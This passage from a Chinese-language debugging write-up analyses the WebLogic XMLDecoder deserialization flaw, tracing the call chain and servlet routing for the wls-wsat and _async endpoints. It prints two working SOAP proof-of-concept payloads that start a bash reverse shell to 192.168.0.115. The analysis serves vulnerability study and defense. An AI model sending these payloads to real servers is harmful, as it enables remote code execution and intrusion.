soapenv:Header>
work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
java version="1.4.0" class="java.beans.XMLDecoder">
void class="java.lang.ProcessBuilder">
array class="java.lang.String" length="3">
void index="0">
string>/bin/bash/string>
/void>
void index="1">
string>-c/string>
/void>
void index="2">
string>bash -i /dev/tcp/192.168.0.115/31 01/string>
/void>
/array>
void method="start"/>/void>
/java>
/work:WorkContext>
/soapenv:Header>
soapenv:Body/>
/soapenv:Envelope>
通过观察调用栈可以轻松的下断点进行调试。
0x2 漏洞初步调试
第二步利用poc的调用栈将断点下在比较深的位置WorkContextXmlInputAdapter的readUTF函数,并根据poc跟踪触发过程。


参数var1是post请求内容,利用this.readHeaderOld读取post中的主题部分,继续往下跟进。

var4变量是从post stream中读取的主体部分,也是soap协议要解析的内容。这部分代码的最后接着把xml内容封装成类继续向下传递。
下面的调用代码比较短小,放在一起查看调用链。这个点很关键WorkContextMapInterceptor的receiveRequest方法,这是不同servlet调用漏洞点的最小单元,换个说法一旦有servlet调用这个类的方法就有可能触发漏洞。





最后在这里触发反序列化,将xml中的内容解析成了对象,并执行其中的恶意代码。
0x3 调试中思考的问题
- 漏洞产生的原因及位置
- url对应的路由问题
- 完整触发过程是怎么样的
漏洞产生的原因及位置
网上绝大部分文章说漏洞产生的原因是Weblogic的WLS Security组件产生了问题,存在问题的组件有wls-wsat.war和bea_wls9_async_response.war。这么说来漏洞位置在组件中了?并不是想象中的那样,具体来说漏洞产生在组件的路由中。我们先看一下其中的一个组件

标准的web.xml url与servlet对应关系,打开其中一个servlet-class我们可以看到使用了webService 解析soap请求并且绑定了处理协议的路由。

所以就可以这么说,漏洞并不在组件中,而在于servlet请求处理中,所以只要能出发该servlet并带有poc代码就可以触发漏洞,这个结论才是对的。还记得在上个小节中的关键类WorkContextMapInterceptor的receiveRequest方法吗?我们找到了其他的触发路由都调用了该方法进行处理soap内容

那么从项目中发现了大量可以触发漏洞的路由。_async属于bea_wls9_async_response.war中的路由,触发代码也和wls不同,poc如下
soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
soapenv:Header>
wsa:Action>xx/wsa:Action>
wsa:RelatesTo>xx/wsa:RelatesTo>
work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
java version="1.8.0_131" class="java.beans.xmlDecoder">
void class="java.lang.ProcessBuilder">
array class="java.lang.String" length="3">
void index="0">
string>bash/string>
/void>
void index="1">
string>-c/string>
/void>
void index="2">
string>bash -i /dev/tcp/192.168.0.115/31 01/string>
/void>
/array>
void method="start"/>/void>
/java>
/work:WorkContext>
/soapenv:Header>
soapenv:Body>
asy:onAsyncDelivery/>
/soapenv:Body>
/soapenv:Envelope> 将两个的调用栈放在一起对比可以看出一个关键的函数

由以上可以看出漏洞出现在解析xml的函数上,触发在servlet路由上,所以找到使用WorkContextMapInterceptor的servlet就可以触发漏洞。
url对应的路由问题 在调试的时候心中有个问题,url和JAXWSServlet/BaseWSServlet是怎么对应上的。理解这个问题先要看*Servlet是怎么出来的。

因为这一块不是分析重点所以简化描述过程,在StandardURLMapping的getExactOrPathMatch方法有个根据url寻找Object,首先会在matchMap中寻找一遍,找到之后就把值给var4,接着传递给var5,就会完成一次servlet查找

将url按照/进行分批查找,例如/wls-wsat/RegistrationPortTypeRPC,会首先查找wls-wsat这个war包,然后第二次匹配包中的RegistrationPortTypeRPC类,如下图所示

分析到这心中又出现了一个问题,最终生成的是 JAXWSWebAppServlet 而不是JAXWSServlet这是为什么呢?其实通过代码可以找到答案


JAXWSWebAppServlet是JAXWSServlet的子类,在子类调用自身不存在的方法时就会从父类中寻找并调用。
完整触发过程是怎么样的 完整的触发过程自然的分为两步,servlet生成和servlet调用,通过weblogic.kernel中的线程生成对应的servlet,如下表

接着会把函数栈清空,然后调用weblogic.work线程执行servlet,从而触发在servlet中解析soap请求的xmlDecoder.readObject函数。具体过程如下图:

包含payload的InputStream如下图:

0x04 总结
通过此次漏洞调试掌握了以下内容 1. weblogic框架调试以及intellij Idea调试技巧 2. weblogic servlet初步分析 3. 输入数据流追踪技术&漏洞触发过程分析

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!